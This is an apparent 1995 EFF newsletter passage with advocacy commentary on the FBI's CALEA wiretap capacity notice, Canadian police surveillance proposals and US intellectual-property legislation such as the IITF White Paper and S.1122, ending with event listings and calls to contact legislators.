On Oct. 25, the House of Representatives voted to *not* include the FBI's
CALEA funding language in the Omnibus Budget Bill (which is expected to

be vetoed anyway). This version of the measure called for a 40% "surcharge" to be added to all criminal fines, to raise US$500mil. to pay for implementation of

the "upgrades" to telephonic equipment that the FBI hopes to require. Other versions of the FBI legislation are, however, still appended to various appropriations and terrorism bills - the Bureau can be said to be hedging its bets.

The Electronic Privacy Information Center reported this event as a victory, though others have suggested that the reason the measure was rejected was not because of privacy concerns, but rather because some arch-conservatives consider the suggested funding measure to be a form of tax increase. The anti-tax conservatives may have been "thrown a bone"

on a bill expected to die anyway, so they'll have already played their cards when the issue comes up in other bills.

Whatever's really going on it Congressional minds, (and a _New_York_Times_
article tends to, believe it or not, support *both* viewpoints), the FBI's
loss here certainly remains cause for very guarded celebration. But the

issue *will* be back.

* Sen. Leahy Definitely Not Buying It

Nov. 3, Senator Patrick Leahy (D-VT) sent a public letter to FBI Director
Louis Freeh. It stated in part:

> The Federal Bureau of
> Investigation recently published in the Federal Register a proposed notice
> of law enforcement's capacity demands predicated upon an historical
> baseline of electronic surveillance activity and an analysis of that
> activity. The Federal Register notice did not include publication of those
> two documents.
>
> Please provide me with copies of those two documents, which I also urge you
> to release to the public and publish in the Federal Register to ensure the
> fullest dissemination of the information.
>
> I appreciate your prompt attention to this matter.

EFF joins CDT in commending Sen. Leahy for his no-nonsense approach, and for his consideration of the public interest in making this request. EFF, EPIC, or any other organization could obtain this information via Freedom of Information

Act lawsuits, but that could take years, and it'd be much better if the FBI released the information voluntarily.

The full text of Sen. Leahy's letter is available at:

ftp.eff.org,
/pub/Privacy/Digital_Telephony_FBI/leahy_freeh_110395.letter
gopher.eff.org, 1/Privacy/Digital_Telephony_FBI,
leahy_freeh_110395.letter
http://www.eff.org/pub/Privacy/Digital_Telephony_FBI/leahy_freeh_110395.
letter

* Canadian Law Enforcement Taking the FBI Hint

Electronic Frontier Canada reports that Canadian police chiefs are clamoring for some kind of "back door" into citizen communications, right on the heels of many other governments put under pressure by the US Administration to support its privacy-invasive policies.

Canadian law enforcement may be shying away from Clipper-like crypto
key
"escrow" (possibly because they realize what a ridiculous idea it is?),

but are already considering a ban on cellular phones that prevent eavesdropping.

The 90th Annual Conference of the Canadian Association of Chiefs of Police (Regina, Saskatchewan, August 24, 1995) produced numerous policy recommendations and resolutions, including an unsupported decision that

"violent" media programming has "no" value at all and should be banned (including an explict recommendation that online material that "exploits violence" be attacked); that "the Internet System [sic] is devoid of any standards and controls necessary to regulate the nature of information being disseminated worldwide", that anonymity should be banned, and that the Canadian government should "enact legislation that will effectively control and regulate the Internet System" [sic]; that roadway video surveillance be instituted; that crime *suspect* be subject to "DNA warrants" and have their genetic information added to a federal database; and (surprised?) that "new communications technology is threatening the ability of...police agencies to conduct court-approved electronic surveillance". This is the same, unsubstantiated, claim being made by the US Federal Bureau of Investigation.

The Canadian proposal continues: "the telecommunications systems and networks are often used to further serious criminal activities, including drug trafficking, terrorism, organized crime, extortion, corruption, and money

laundering" [not unlike cars, fingers, shoes, etc. And they forgot that favorite buzzphrase: "child molestation and pornography".]

The rest of the recommendations regarding police surveillance and modern communications is all but plagiarized from the FBI's statements and legislation, and concludes, "the Canadian Association of Chiefs of Police urges the Government of Canada to enact the appropriate legislation requiring that all present and new telecommunications technologies contain capabilities that will provide law enforcement agencies with the technical assistance necessary to accomplish court-authorized interceptions pursuant to the applicable sections of the Criminal Code of Canada (s.184.2, 184.3, 186, 188, 487.01, 492.1, 492.2)."

To our northern neighbors: Be afaid.

The full text of the CACP recommendations can be found at:

http://insight.mcmaster.ca/org/efc/pages/law/doc/cacp.24aug95.html

* The Text of the FBI's Federal Register Notice

[Federal Register: October 16, 1995 (Volume 60, Number 199)]
[Notices]
[Page 53643-53646]
>From the Federal Register Online via GPO Access [wais.access.gpo.gov]

DEPARTMENT OF JUSTICE

Federal Bureau of Investigation

Implementation of the Communications Assistance for Law Enforcement Act

AGENCY: Federal Bureau of Investigation (FBI).

ACTION: Initial notice and requests for comments.

SUMMARY: The FBI is providing initial notification of law enforcement capacity requirements as mandated in section 104 of the Communications Assistance for Law Enforcement Act. Comments regarding this initial notice will be considered in the development of the final capacity notice.

DATES: Written comments must be received on or before November 15, 1995.

ADDRESSES: Comments should be submitted in triplicate to the Telecommunications Industry Liaison Unit (TILU), Federal Bureau of Investigation, P.O. Box 220450, Chantilly, VA 22022-0450.

FOR FURTHER INFORMATION CONTACT:
Contact TILU at [redacted]. Please refer to your question as a capacity notice question.

I. Background

On October 25, 1994, the President signed into law the Communications Assistance for Law Enforcement Act (CALEA) (Public Law 103-414; 47 U.S.C. 1001-1010). This law presents law enforcement's requirements for the surveillance of wire or electronic communications. The primary purpose of the CALEA is to clarify a telecommunications carrier's duty to assist law enforcement agencies with the lawful interception of communications and the acquisition of call-identifying information in an ever-changing telecommunications environment. To ensure that law enforcement agencies can continue to conduct authorized surveillance of wire or electronic communications, the CALEA states that telecommunications carriers must meet the assistance capability requirements set forth in section 103 of the Act (and restated in Appendix A of this notice).

Section 104 of the CALEA mandates that the Attorney General of the United States provide notice of estimates for the actual and maximum number of pen register, trap and trace, and communication intercepts that law enforcement agencies may conduct and use simultaneously.

The definitions for ``actual capacity'' and ``maximum capacity'' are included below:

Actual Capacity--``notice of the actual number of communication interceptions. pen registers, and trap and trace devices, representing a portion of the maximum capacity that the Attorney General estimates that government agencies authorized to conduct electronic surveillance may conduct and use simultaneously by the date that is 4 years after the date of enactment of the CALEA'' (CALEA, section 104(a)(1)(A)).

Maximum Capacity--``notice of the maximum capacity required to accommodate all of the communication interceptions, pen registers, and trap and trace devices that the Attorney General estimates that government agencies authorized to conduct electronic surveillance may conduct and use simultaneously after the date that is 4 years after of enactment of the CALEA'' (CALEA, section 104(a)(1)(B)).

This Federal Register announcement serves as the initial notice of the government's actual and maximum capacity requirements. These requirements will aid telecommunications carriers in developing and deploying solutions to meet the assistance capability requirements set forth in section 103 of the

CALEA. A final notice will be issued in accordance with the CALEA requirements after considering comments to this initial notice.

The actual and maximum capacity requirements were developed by the FBI in coordination with law enforcement. By order of the Attorney General of the United States, as codified in 28 CFR 0.85 (o), government implementation responsibilities under the CALEA were delegated to the FBI. The FBI, in turn, is establishing TILU to carry out the government's implementation responsibilities, including the publication of capacity notices.

For the purposes of this document, the terms defined in section 2510 of title 18, United States Code, and section 102 of the CALEA (section 1001 of title 47, United States Code) have, respectively, the meanings stated in those sections. Additional clarification of terms is provided in Appendix B of this notice.

II. Introduction

The capacity figures in this notice reflect the combined number of simultaneous pen register, trap and trace, and communication interceptions that law enforcement may conduct by October 25, 1998. All telecommunications carriers must, within 3 years after the publication of the final notice of capacity requirements or within 4 years after the date of enactment of the CALEA, whichever is longer, ensure that their systems are capable of accommodating simultaneously the number of pen register, trap and trace, and communication interceptions identified in the actual capacity requirements. Furthermore, all telecommunications carriers shall ensure capabilities exist to expeditiously accommodate any increase in the actual number of pen register, trap and trace, and communication interceptions that authorized agencies may seek to conduct and use, up to the maximum capacity requirement. Some carriers may not need to make modifications to their equipment, facilities, and services in response to this notice because they currently meet all law enforcement capacity and capability requirements for electronic surveillance.

The capacity requirements are not intended to specify, required or prohibit adoption of any particular system design or configuration by a telecommunications carrier, equipment manufacturer, or support services provider. These entities must develop an appropriate solution to comply with the capacity requirements set forth in this notice and with the assistance capability requirements found in section 103 of the CALEA. In developing solutions, carriers should consider the effect that particular services and features may have on capacity requirements. For example, the required number of ports, lines, or other network resources may vary depending upon the use of particular services and features by an intercept subject. The FBI, along with other law enforcement agencies, will be available, through the consultative process, to discuss these engineering issues.

In accordance with the intent of the CALEA, carriers must ensure that their equipment, facilities, or services that provide a customer or subscriber with the ability to originate, terminate, or direct communications are capable of meeting the capability and capacity requirements mandated by the CALEA. These requirements apply to existing and future telecommunications carriers.

III. Capacity Requirements Derivation

The capacity figures that are presented in this initial notice were derived as a result of a thorough analysis of electronic surveillance needs. Information regarding electronic surveillance activities for a specific time period was obtained from telecommunications carriers, law enforcement, U.S. District Courts, State Courts, State Attorneys General, and State District Attorneys to establish a historical baseline of activity.

The historical baseline of electronic surveillance activity was determined after examination of both the location and occurrence of each electronic surveillance reported. The historical baseline was then analyzed to derive the total and simultaneous electronic surveillance activity by switch and within specific geographic areas. Future capacity needs were then determined after consideration of the impact of demographics, market trends, and other factors on the historical baseline.

The analysis indicates that electronic surveillance activity varies by geographic area. Therefore, the capacity requirements will vary by geographic area. The capacity requirements are reported by category, with each geographic area being assigned to one of three distinct categories. The use of categories enables capacity requirements to be stated in a manner that reasonably represents law enforcement electronic surveillance needs in all geographic areas, yet does not overburden the telecommunications industry by holding all carriers to the same level of capacity.

Category I (the highest category) and Category II (the intermediate category) represent those geographic areas where the majority of electronic surveillance activity occurs. Only a few of the most densely populated areas, which have historically been areas of high electronic surveillance activity, are grouped into Category I. Other densely populated areas and some suburban areas, with moderate electronic surveillance activity, are grouped into Category II. The numbers for these categories were derived based on the analysis described above. Category I and Category II apply to approximately 25 percent of the equipment, facilities, and services covered by the survey over the time period.

Category III (the lowest category) represents law enforcement's minimum acceptable capacity requirements for electronic surveillance activity. This category covers all other geographic areas. The numbers for Category III were derived by analyzing areas of historically low electronic surveillance activity

and projecting future needs in order to establish a requirement for a minimum level of capacity for electronic surveillance.

All telecommunications carriers are expected to meet the minimum capacity requirements of Category III. Carriers will be individually notified of those specific geographic areas within the areas they serve that exceed Category III and warrant a Category I or Category II capacity requirement. The individual carrier notifications will occur contemporaneously with the publication of the final notice. It is anticipated that the majority of the area served by a carrier will fall into Category III; however, if Category I and Category II capacity requirements are necessary, they are likely to affect only a small portion of their area served.

This initial capacity notice includes the actual and maximum capacity requirements for Categories I, II, and III. After considering comments to this initial notice, a final notice will be published. Future changes to the maximum capacity requirements issued in the final notice will be published in the Federal Register, as necessary, in accordance with section 104(c).

IV. Initial Statement of Actual and Maximum Capacity

The actual and maximum capacity requirements are presented as a percentage of the engineered capacity of the equipment, facilities, and services that provide a customer or subscriber with the ability to originate, terminate, or direct communications. Engineered capacity refers to the maximum number of subscribers that can be served by that equipment, facility, or service. Frequently, the percentage is applied to the engineered subscriber capacity of a switch, however, the percentage can also apply to nonswitch equipment (i.e., network peripherals) involved in the origination, termination, or direction of communications. Percentages are being used rather than fixed numbers due to the dynamics and diversity of the telecommunications industry. The use of percentages allows telecommunications carriers the flexibility to adjust to changes in marketplace conditions or changes in the number of subscribers, access lines, equipment, facilities, etc., and still know the required level of capacity.

As a result of extensive consultation with federal, State, and local law enforcement agencies, telecommunications carriers, providers of telecommunications support services, and manufacturers of telecommunications equipment, the FBI proposes the following capacity requirements for Categories I, II, and III:

Category I

Actual Capacity

Each telecommunications carrier must provide the ability to meet the capability assistance requirements defined in section 103 of the CALEA for a number of simultaneous pen register, trap and trace, and communication interceptions equal to 0.5% of the engineered capacity of the equipment, facilities, or services that provide a customer or subscriber with the ability to originate, terminate, or direct communications.

Maximum Capacity

Each telecommunications carrier must ensure that it can expeditiously increase its capacity to meet the assistance capability requirements defined in section 103 of the CALEA for a number of simultaneous pen register, trap and trace, and communication interceptions equal to 1% of the engineered capacity of the equipment, facilities, or services that provide a customer or subscriber with the ability to originate, terminate, or direct communications.

Category II

Actual Capacity

Each telecommunications carrier must provide the ability to meet the capability assistance requirements defined in section 103 of the CALEA for a number of simultaneous pen register, trap and trace, and communication interceptions equal to 0.25% of the engineered capacity of the equipment, facilities, or services that provide a customer or subscriber with the ability to originate, terminate, or direct communications.

Maximum Capacity

Each telecommunications carrier must ensure that it can expeditiously increase its capacity to meet the assistance capacity requirements defined in section 103 of the CALEA for a number of simultaneous pen register, trap and trace, and communication interceptions equal to 0.5% of the engineered capacity of the equipment, facilities, or services that provide a customer or subscriber with the ability to originate, terminate, or direct communications.

Category III

Actual Capacity

Each telecommunications carrier must provide the ability to meet the capability assistance requirements defined in section 103 of the CALEA for a number of simultaneous pen register, trap and trace, and communication interceptions equal to 0.05% of the engineered capacity of the equipment, facilities, or services that provide a customer or subscriber with the ability to originate, terminate, or direct communications.

Maximum Capacity

Each telecommunications carrier must ensure that it can expeditiously increase its capacity to meet the assistance capability requirements defined in section 103 of the CALEA for a number of simultaneous pen register, trap and trace, and communication interceptions equal to 0.25% of the engineered capacity of the equipment, facilities, or services that provide a customer or subscriber with the ability to originate, terminate, or direct communications.

When translated from percentages to numbers, capacity requirements should be rounded up to the nearest whole number.

V. Carrier Statements and Consultation

As set forth in section 104(d) of the CALEA, each telecommunications carrier is required to provide within 180 days after publication of the final capacity notice a statement identifying any of its systems or services that do not have the capacity to meet the assistance capability requirements stated in section 103 of the CALEA. These carrier statements will be used in conjunction with law enforcement priorities and other factors to determine the specific equipment, facilities, and services that require immediate modification and that may be eligible for cost reimbursement. The FBI will consult with telecommunications carriers to establish a template for responding to the capability and capacity requirements.

Dated: October 10, 1995.

Louis J. Freeh,
Director.

[FR Doc. 95-25562 Filed 10-13-95; 8:45 am]
BILLING CODE 4410-02-M

[editor's note -- Appendicies have been deleted to save space. The entire
text of this document can be found at EFF's and CDT's Digital Telephony Web
Pages. See "For More Information", below.]

* For More Information

See the following Internet sites:

ftp.eff.org, /pub/EFF/Privacy/Digital_Telephony_FBI/
gopher.eff.org, 1/EFF/Privacy/Digital_Telephony_FBI
http://www.eff.org/pub/EFF/Privacy/Digital_Telephony_FBI/

http://www.epic.org/privacy/wiretap/

http://www.cdt.org/digtel.html

[Portions of this alert based on material from CDT, EPIC and VTW, various
articles, and several independent reports.]

Subject: Newsbytes
---

* EFF Relocation Complete

Our new, permanent contact info is:

The Electronic Frontier Foundation
1550 Bryant St., Suite 725
San Francisco CA 94103 USA

[redacted] (voice) <-- That's 436 9EFF
[redacted] (fax)

[redacted] (or, for "canned" general info, [redacted]).

Bernstein- or Scientology-case queries should go to EFF Staff Counsel Shari Steele ([redacted]), [redacted].

Other Press and legal queries should go to EFF Staff Counsel Mike Godwin
([redacted]), [redacted].

* EFF Rated in Top 5% of the Net by Point Survey

Point Survey, one of the most comprehensive WWW site review services on the net, http://www.pointcom.com, rated EFFWeb as one of the top 5% net sites. Their review calls us a "great resource for those who want to protect cyberspace." The full review is available at:

http://www.pointcom.com/gifs/reviews/10_29038.htm

* Commerce Dept. IPWG Report on Online Intellectual Property Meets Resistance

The Information Infrastructure Task Force (IITF) of the National Telecommunications and Information Administration (NTIA) was created by the executive branch of the U.S. government to recommend policy and legislation on the "Information Superhighway". In the wake of the LaMacchia case, The IITF set up a working group to make recommendations

on copyright law and intellectual property. The "White Paper" is the report of this working group. The legislation recommended in the White

Paper was sent to Congress on Thursday, September 28, 1995. The White Paper is based on a 1994 draft, the "Green Paper", both strongly influenced by

the Intellectual Property Rights Working Group chair, Patent & Trademark Office Commissioner Bruce Lehman.

The recent White Paper version is available at:

ftp.eff.org, /pub/Intellectual_property/ipwg_nii_ip_lehman.report gopher.eff.org, 1/Intellectual_property, ipwg_nii_ip_lehman.report http://www.eff.org/pub/Intellectual_property/ipwg_nii_ip_lehman.report

The Green Paper version was the subject of strong criticism from many sides, including Prof. Pamela Samuelson, who opposed the attempt to pass off sweeping recommended changes as "minor". Samuelson, in her critique, states that the Green Paper's recommendations "would abolish longstanding rights that the public has enjoyed to make use of copyrighted works, rights that have been consistently upheld in courts and in the copyright statute."

The draft (Green Paper) version, and Prof. Samuelson's critique are available at (respectively):

ftp.eff.org, /pub/Intellectual_property/ipwg_nii_ip_lehman_report.draft gopher.eff.org, 1/Intellectual_property, ipwg_nii_ip_lehman_report.draft http://www.eff.org/pub/Intellectual_property/ipwg_nii_ip_lehman_report.draft

and

ftp.eff.org, /pub/Intellectual_property/ipwg_nii_ip_report_samuelson.comments gopher.eff.org, 1/Intellectual_property, ipwg_nii_ip_report_samuelson.comments http://www.eff.org/pub/Intellectual_property/ ipwg_nii_ip_report_samuelson.comments

EFF Board of Directors Chair Esther Dyson and Vice-Chair John Perry Barlow have written forward-looking pieces on online "i-p", both pointing in directions strongly at odds with IITF's vision of intellectual property's future. These articles can be found at (respectively):

ftp.eff.org, /pub/Publications/Esther_Dyson/ip_on_the_net.article gopher.eff.org, 1/Publications/Esther_Dyson, ip_on_the_net.article http.eff.org/pub/Publications/Esther_Dyson/HTML/ip_on_the_net.html

and

ftp.eff.org, /pub/Publications/John_Perry_Barlow/idea_economy.article gopher.eff.org, 1/Publications/John_Perry_Barlow, idea_economy.article http.eff.org/pub/Publications/John_Perry_Barlow/HTML/idea_economy_article.html

The new "White Paper" version of the IITF report doesn't seem to have fixed anything. Most criticisms that applied to the Green Paper draft hold for the final version. The National Writers Union says of the report, "We are struck by the remote character of the report in that it

misses the daily realities of the individual writer, artist or other creator...we must voice concerns that favor the rights of information users at the same time that we seek fair compensation for our work." NWU suggests that the report points fingers at individuals and libraries for copyright infringement, when the real culprits are media conglomerates, and calls the working group's bias against the public interest and toward media centralization "a disconnection from reality", and a failure to uphold the public's fair use rights. NWU closes by saying, "Legislation and regulatory action on intellectual property and the National Information Infrastructure must do a more complete job than has been done by this report to include the concerns of the creators of intellectual property and of the general public."

The full NWU comments can be found at:

ftp.eff.org, /pub/Intellectual_property/nwu_ipwg_paper.comments
gopher.eff.org, 1/Intellectual_property, nwu_ipwg_paper.comments
http://www.eff.org/pub/Intellectual_property/nwu_ipwg_paper.comments

The Commercial Internet eXchange (CIX) has criticised the white paper as
well, in a draft position statement, pointing out that IPWG would criminalize
all service providers for the illegal actions of their users.

CIX's response paper states in part, "CIX members transmit nearly half a billion messages each day, and cannot realistically be expected to monitor the content of those transmissions. Moreover, the instantaneous

nature of digital communications precludes access providers from viewing, judging, monitoring or editing the content of most messages posted or accessed by their subscribers. Finally, [Internet Access Providers] are

similar to common carriers in that they have no control over which members of the public use their facilities or the content members of the public choose to transmit. For these reasons, access providers should not be treated as a publisher [sic] for copyright purposes. Unfortunately, that is precisely what the Working Group has proposed by including in its suggested revisions to the Copyright Act the undefined word 'transmit' as part of the definition of 'publish.'"

The full CIX comments can be found at:

ftp.eff.org, /pub/Intellectual_property/cix_ipwg_paper.comments gopher.eff.org, 1/Intellectual_property, cix_ipwg_paper.comments
http://www.eff.org/pub/Intellectual_property/cix_ipwg_paper.comments

The IITF report recommended that the Copyright Act "be amended to expressly recognize that copies or phonorecords of works can be distributed to the public by transmission, and that such transmissions fall within the exclusive distribution right of the copyright owner." This portion of the suggested legislation has already been passed by both houses of Congress.

Whether other aspects will find their way into law remains to be seen. They probably will, though. Criticism of the White Paper is common and

solid, but this does not seem to be dissuading legislators from taking the Report's conclusions and recommendations at face value and running with them.

* IPWG Report's Suggested Legislation: Passed and Pending (+ Canada Tie-In)

Samuelson, CIX, Barlow, NWU, Dyson, Jessica Littman, and numerous others
have pointed out, in articles and at conferences, an almost uncountable

number of flaws in the IITF NII intellectual property report. Some have

labelled it "a wolf in sheep's clothing", which systematically ignores cases which don't support its extreme positions in order to make its radical proposals look more reasonable. At this early stage, the White

Paper's endorsement of criminalizing traditionally protected behaviors such as private, non-commercial copying is not well understood. Nor is

it well understood how biased a document it is, or how it supposes a view of the world in which every information transaction can be subject

to a private tax with the threat of criminal sanction behind it.

Critics of the report suggest that its drafting process is heavily dominated by special interests to such an extent that a fair outcome is

unlikely - the lobbyists (and former lobbyists like PTO Commissioner Lehman), may be motivated by fear that digitalization will mark the end

of the economic hegemony of certain media interests, who seek to bend the law to their exclusive advantage with no regard for the tranditional balance in intellectual property law between i-p rights holders and the

public.

Then again, others, such as the Software Publisher Association complain

loudly of lost profits in the billions due to online copyright violation, and even the NWU supports major changes to current intellectual property law.

Few seem to doubt that current law is quite right for the state of modern communications. The disagreement seems largely about what changes must

be made, and perhaps more to the point - whether now is a good time to change them or on the other hand whether anyone proposing immediate changes has any idea what they are doing.

Senators Orrin Hatch and Pat Leahy think they do, and introduced S. 1284, the "Information Infrastructure Copyright Act of 1995" in September. the IICA is based heavily on the IITF White Paper, and comprises sections. The first, the "NII Copyright Protection Act of 1995", explicitly covers digital transmission of copyrighted works, as one might expect. It also makes it a crime to alter or provide false "copyright management information" on someone else's intellectual property, or to circumvent copy protection schemes or provide software or hardware to do so ("copyright management information" being author and copyright holder name and contact info, terms & conditions of use),

Not particularly disturbing? Until you consider that reverse-analysis of software, including copy protection, is useful and legitimate, as are utilities to update one's own information stored by the copy protection features in software. Or until you consider that many copy protection schemes are poorly designed, and essentially require one to break the copy protection to make backups or to install a new copy of the software from backup disks. Or until you get to the section that lays the burden of proving innocence on the accused. Or until you realize that the only way to enforce these provisions would be for system operators (and libraries and other services) to act as "net cops" and spy on users continuously and in great detail. Fines are up to half a million

dollars and/or 5 years in prison.

The bill panders to large-scale copyright holders, and fails to balance

their rights with those of authors & creators, not to mention the public's right of fair use. A coalition of organizations, individuals and a companies, the Digital Future Coalition, further criticizes the bill as

hindrance to the development of tele-education and general market innovation.
EFF is considering joining DFC and endorsing their upcoming letter to the sponsors of this bill.

Ironically, it was Sen. Leahy who said (referring to the Digital Telephony bill) in April 1994, "The part that frightens the hell out of

me is the goverment deciding where technology goes."

Should this legislation pass, it is likely that the actual authors and creators (as opposed to corporate copyright holders) will make less money than ever from their works, and that information vendors (and access providers - unless and until we have a common-carrier-like liability protection for them) will have to make redoubled efforts to check the copyright and royalty/licensing situation of any information their services provide. This could be the next step on one of two paths: increasing "net.cop" behavior on the part of access providers, or increased civil disobedience of unenforceable laws that are almost physically impossible to abide by for system operators.

Senator Leahy, this time with Sen. Feingold, is interested in even more

changes to intellectual property law. They introduced S.1122, the "Criminal Copyright Improvement Act of 1995" in August, making it an offense to assist others in the reproduction or distribution of an infringed work, and allowing prosecutors to go after bulletin board operators and other service providers when the end-user cannot be tracked down. Leahy's bill, the inspiration for which appears to be highly questionable statistics from software manufacturers' trade associations, poses fairly clear threats to all system operators that do not track users and get a variety of verified personal information from

all customers. In a speech at a conference, Leahy tied S.1122 into his

and Sen. Orrin Hatch's new bill to combat the counterfeiting of goods, S.1136, proposing fines up to US$1,000,000. S.1122 has language related to faked goods, including software, as well. It may be that the two bills are intended to be merged.

S. 1122 is intended to snare system operators whose systems are used for
software piracy by customers. One section states"

SEC. 2. CRIMINAL INFRINGEMENT OF COPYRIGHTS.
(a) DEFINITION OF FINANCIAL GAIN- Section 101 of title 17, United
States Code, is amended by inserting after the undesignated
paragraph relating to the term `display', the following new
paragraph:
`The term `financial gain' includes receipt of anything of
value, including the receipt of other copyrighted works.'.

(b) CRIMINAL OFFENSES- Section 506(a) of title 17, United
States
Code, is amended to read as follows:
`(a) CRIMINAL INFRINGEMENT- Any person who infringes a
copyright
willfully either--
`(1) for purposes of commercial advantage or private
financial gain; or
`(2) by the reproduction or distribution, including by
transmission, or assisting others in such reproduction or
distribution, of 1 or more copies, of 1 or more
copyrighted
works, which have a total retail value of $5,000 or more,
shall be punished as provided under section 2319 of title
18.'.

EFF currently has no position on this legislation, but may take one.
The
Center for Democracy and Technology will support the bill, provided it
is
modified (See CDT Policy Post for more info.)

On the one hand, few doubt that allowing a system to be used as a sort of "pirated software clearinghouse" should be illegal even if the sysop does not profit from this activity (Cf. the LaMacchia case). However, this bill would appear to be insufficiently narrow, and may hold criminally liable system operators whose users exchange software, audio files or other material copyrighted by others, even without the permission or knowledge of the system operator. EFF remains committed to establishing a form of common-carrier-like liability protection for online service operators so that sysadmins and BBS sysops are not fined or imprisoned for crimes committed by users. The bill also does not appear to adequately take into account the people's rights of fair use.

At a conference, Borland Sr. VP Robert Kohn and author of a treatise on online music licensing, pointed out for the audience Internet sites devoted to recording artists such as Frank Sinatra, and noting that they probably were not licensed to have the copies of song lyrics they offered from their sites. As if mirroring Kohn's sentiments, SOCAN, roughly the Canadian equivalent of US music intellectual property clearinghouses BMI and ASCAP, have filed a proposed tariff which will allow licensing of music transmitted over the Internet or BBSs, so that

SOCAN can collect royalities for online uses of sound clips or lyric texts. The Society of Composers, Authors and Music Publishers of Canada's Tariff 22 is

entitled "Transmission of Musical Subscribers [sic] via a Telecommunications Service not Licensed Under Tariff 16 or 17". The proposed Tariff provides a licence fee of $0.25 for every subscriber on

a service that does not earn advertising revenue. For services that do earn revenue from advertising, the licence is based on 3.2% of gross revenues, with a minimum fee of $0.25 per subscriber. A correspondent, John Lax, contacted SOCAN for more details, and found that SOCAN plans that anyone wanting to make online use of songs controlled by SOCAN would have to be licensed by the organization, and be subject to audits and inspection by SOCAN.

While some note that sites like IUMA, providing online but copyrighted music information such as song lyrics, should have to pay royalties, the administrator of one such site says that the artists involved are, in at least some cases, not at all pleased by moves like SOCAN's, and will end up paying any SOCAN fees *themselves* because the Internet music sites provide free advertising for them, resulting in far more income from new sales than incoming lost from uncollected penny-ante royalities for online lyric reading or soundclip downloads. This is fairly interesting in light of NWU's criticism of the Lehman paper, that the report reflects not the interests of creators at all, but rather the interests

of media mega-corporations who thrive on royalty percentages.

While there's no direct tie-in between SOCAN's proposed tarrif and the IETF i-p report, there's an indirect one, in the form of a bill which recently passed both the US Senate and, unanimously, the House of Representatives. H.R.1506, the Digital Performance Right in Sound Recordings Act of 1995", gives copyright holders the authority to collect royalties each time a sound recording is transmitted in digital form. Measures that were suggested independently by both SOCAN and IITF are about to be the law of the land in the US, despite the fact that little

debate on this matter has occurred, and some content producers think this
will cost, not save, them money.

The bills referred to above are available at:

ftp.eff.org, /pub/Legislation/Bills_by_number/
gopher.eff.org, 1/Legislation/Bills_by_number
http://www.eff.org/pub/Legislation/Bills_by_number/

NOTE: IITF is not to be confused with IETF, the Internet Engineering Task
Force, which is a non-governmental volunteer standards body.

[Some text in the above two articles borrowed from CIX, SOCAN, and NWU statements; Computer Law Report #11 was also used as source material, as were several action alerts and posts by participants on EFF and EFC mailing lists.]

* Upcoming Articles

Bernstein Case - Update
Public Govt. Info Online - Update
Scientology v. Critics - Update
A Look at Internet Domain Name Fees and Alternatives to InterNIC
EFC Opposes Bell Canada Trademark on "The Net"
Arthur Halavais Censored from Internet by Judge
Minnesota v. the Whole Wide World
PROFS Case - Update
Tony Davis Case - Update
Lorne Shantz Case - Update

Some of these were expected this issue, but have been put off due to the
size of the artices in the current issue.

Subject: Upcoming events

This schedule lists events that are directly EFF-related. A much more detailed calendar of events likely to be of interest to our members and

supporters is maintained at:

ftp: ftp.eff.org, /pub/EFF/calendar.eff
gopher: gopher.eff.org, 1/EFF, calendar.eff
http://www.eff.org/pub/EFF/calendar.eff

Nov. 7 * European Summit on the Information Superhighway; Amsterdam, Netherlands. Speakers include EFF co-founder John Perry Barlow.

Nov. 9 * Doors of Perception Conference; Amsterdam, Netherlands. Speakers include EFF co-founder John Perry Barlow.

Nov. 23-25 * HyperMedia Conference; Oita Japan. Speakers include EFF boardmember David Farber.

Nov. 27 * Internet Society Japan Conference; Kobe Japan. Speakers include
EFF boardmember David Farber.

Nov. 29 * Japan Ministry of Posts and Telecom. Annual Conference on
Advances in Communications; Tokyo Japan. Foreign Keynote speech
by EFF boardmember, David Farber.

Jan. 17-
18 * Innovation Now; Oregon Convention Center, Portland Oregon.
Sponsored by American Electronics Association's Oregon Council,
et al. Speakers include EFF chair of the board Esther Dyson.
URL: http://www.innovationnow.org/

Subject: Quote of the Day

"You are all optimizing against the imaginable, not the probable. And the
imaginable, especially the imaginable evil, has no inertia at all. There
is no limit to what it might do and therefore, there is no limit to what one
must do to prevent it...If we are to design all of our policies around the
worst thing that could possibly happen, if we are trying to achieve a
world of such absolute safety that no one in power can ever be blamed for
a human-caused catastrophe, we will have to endow law enforcement with
powers of surveillance which will make a police state not just imaginable
but probable."
- EFF co-founder John Perry Barlow, in a letter to Administration staffers
regarding the Clipper and Digital Telephony surveillance scheme, on
which the Administration refused to back down, citing fear of terrorists
using untappable communications to plan a nuclear bombing of the
World Trade Center, and the reaction the voting public would have
toward the Adminstration in the event of such terrorism.

Find yourself wondering if your privacy and freedom of speech are safe when bills to censor the Internet are swimming about in a sea of of surveillance legislation and anti-terrorism hysteria? Worried that in the rush to make us secure from ourselves that our government representatives may deprive us of our essential civil liberties? Concerned that legislative efforts nominally to "protect children" will

actually censor all communications down to only content suitable for the playground?

Join EFF!

Even if you don't live in the U.S., the anti-Internet hysteria will soon be visiting a legislative body near you. If it hasn't already.

Subject: What YOU Can Do
---

* The Communications Decency Act & Other Censorship Legislation

The Communications Decency Act and similar legislation pose serious threats to freedom of expression online, and to the livelihoods of system operators. The legislation also undermines several crucial privacy protections.

Business/industry persons concerned should alert their corporate govt. affairs office and/or legal counsel. Everyone should write to their own Representatives and Senators, asking them to oppose Internet censorship

legislation, and write to the conference committee members to support the reasonable approaches of Leahy, Klink, Cox and Wyden, and to oppose

the unconstitutional proposals of Exon, Gorton and others. See the first article in this newsletter for more detailed info.

For more information on what you can do to help stop this and other dangerous legislation, see:

ftp.eff.org, /pub/Alerts/
gopher.eff.org, 1/Alerts
http://www.eff.org/pub/Alerts/

If you do not have full internet access, send your request for information to [redacted].

* Digital Telephony/Comms. Assistance to Law Enforcement Act

The FBI is now seeking both funding for the DT/CALEA wiretapping provisions, and preparing to require that staggering numbers of citizens be simultaneously wiretappable.

To oppose the funding, write to your own Senators and Representatives urging them to vote against any appropriations for wiretapping. To oppose the FBI's wiretapping capacity demands, see the FBI Federal Register notice at the end of the second article in this newsletter, which contains instructions on how to submit formal comments on the ludicrous

and dangerous proposal.

* Anti-Terrorism Bills

Numerous bills threatening your privacy and free speech have been introduced this year. None of them are close to passage at this very moment, but this status may change. Urge your Congresspersons to oppose these unconstitutional and Big-Brotherish bills.

* The Anti-Electronic Racketeering Act

